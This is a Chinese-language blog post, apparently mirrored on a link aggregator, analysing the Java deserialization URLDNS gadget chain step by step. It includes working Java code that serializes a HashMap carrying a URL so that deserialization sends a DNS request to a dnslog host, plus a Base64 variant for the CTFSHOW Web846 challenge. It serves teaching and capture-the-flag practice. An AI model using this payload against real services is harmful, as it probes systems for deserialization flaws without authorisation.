5

Java反序列化之URLDNS

 1 year ago
source link: https://ethe448.github.io/2023/03/18/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BURLDNS/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

基础的理论写在这里了,这篇主要是跟一下URLDNS链

Java | Ethe's blog (ethe448.github.io)

URLDNS链

反序列化分三个部分

入口类、调用链和执行类

接下来将对其依次进行分析

这里的入口类是HashMap

首先HashMap里重写了readObject

image-20230318175144585
image-20230318175144585

在最后的地方

将对象中的内容一个一个拿了出来然后调用了putVal函数

image-20230318175200362
image-20230318175200362

这个函数具体的可以看这个HashMap中的putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict)解读_余韵啊的博客-CSDN博客

简单来说就是判断传入的内容的key的值是不是相等,不相等就加进map里,相等就覆盖

这里对key调用了hash函数,跟进去

image-20230318175918432
image-20230318175918432

又调用了key自身的hashCode函数

这个hashCode是Object自带的,所以HashMap满足我们入口类的三个条件(重写了readObject,参数类型宽泛,jdk自带)

所以接下来考虑有没有可能存在某个特殊的类**M,其hashCode**方法中直接或间接可调用危险函数,当M是key时,调用key.hashCode(),就相当于调用了M.hashCode(),从而触发危险函数。

接下来我们再来看执行类

这里执行类就是URL类

跟进去找URL的hashCode方法

image-20230318180244597
image-20230318180244597

如果hashCode这个参数为-1,也就是初始值时,会调用handler的hashCode方法。

这里看一下handler是个什么东西

image-20230318181515789
image-20230318181515789
image-20230318183016507
image-20230318183016507

是URLStreamHandler类(也是我们传入的handler),也就是说这里调用的是URLStreamHandler.hashCode

跟进去之后有个getHostAddress方法

image-20230318181320932
image-20230318181320932

再往里跟会发现u是通过InetAddress.getByName获取到的ip地址

image-20230318181948359
image-20230318181948359

然后再通过getHost发送一个DNS请求

至此执行类的分析完成

最后一部分是调用链,其实从入口类和执行类的分析就可以大概的看出调用链

  1. HashMap -> readObject()
  2. HashMap -> hash()
  3. URL -> hashCode()
  4. URLStreamHandler -> hashCode()
  5. URLStreamHandler -> getHostAddress()
  6. InetAddress-> getByName()

先在bp上生成一个url接收DNS请求,dnslog也行

image-20230318184455889
image-20230318184455889

根据前边说的,利用就是创建个HashMap然后把key的位置传入URL类

HashMap<Object,Integer> h = new HashMap<>();
h.put(new URL("http://xxxx"),1);

然后我们对其进行序列化,然后再进行反序列化,在反序列化时我们就可以收到一个DNS请求

但是在实验过程中,我们会发现,就算没有进行反序列化,在bp上也同样能检测到有一个发送过来的请求

image-20230318184207283
image-20230318184207283

为什么会这样呢?

其实原因在put方法里

跟进去看一下可以看见

image-20230318195923449
image-20230318195923449
image-20230318195933134
image-20230318195933134

在我们put的时候,就已经触发了hashCode函数,相当于走完了我们的利用链,然后向目标地址发送了dns请求。

但是这并不是我们想要的

因为URL里的hashCode中的这个判断

image-20230318180244597
image-20230318180244597

hashCode的初始值是-1,但是经过put走完我们的链子后,hashCode的值就会被改变,这时如果我们再执行反序列化,由于hashCode的值不再是-1,就不能再调用handler.hashCode的值从而实现向目标url发送dns请求的目的了。

image-20230318201605984
image-20230318201605984

因此,这里在put后,还需要使用反射让hashCode的值重新为-1

public class serializTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
        Object o = ois.readObject();
        return o;
    }

}
package URLDNS;
import serializTest.serializTest;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, InstantiationException, IllegalAccessException {
        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);

        URL url = new URL("http://cp9s9x.dnslog.cn");
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);

        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
        serializTest.serialize(h);
        System.out.println(hashCode.get(url));

        Object unserialize = serializTest.unserialize();
        System.out.println(unserialize);

    }
}
image-20230318204055248
image-20230318204055248
image-20230318204014975
image-20230318204014975

CTFSHOW Web846

image-20230319153251549
image-20230319153251549

为了实现这个目的,我们可以把序列化的内容写到一个输出流里,然后用toByteArray将字节流转换为字节数组,再用base64编码输出

修改后的代码为

        HashMap<Object,Integer> h = new HashMap<>();
        // 反射获取hashCode的值
        Class<?> aClass = Class.forName("java.net.URL");
        Field hashCode = aClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);

        URL url = new URL("http://c83f8a14-f34c-4106-ae2b-0f835c562ad4.challenge.ctf.show");//网址最后的斜杠要删掉
        // 防止在put时就发送请求,干扰判断
        hashCode.set(url,1);
//
//        System.out.println(hashCode.get(url));
        // 装入HashMap
        h.put(url,1);
        // 改回-1使反序列化时进行dns请求
        hashCode.set(url,-1);
//        serializTest.serialize(h);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(h);
//        System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
        byte[] buf = byteArrayOutputStream.toByteArray();
        // base64编码
        Base64.Encoder encoder = Base64.getEncoder();
        String base64 = encoder.encodeToString(buf);
        System.out.println(base64);
image-20230319155736513
image-20230319155736513

然后以post方式提交就行了

image-20230319155752794
image-20230319155752794

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK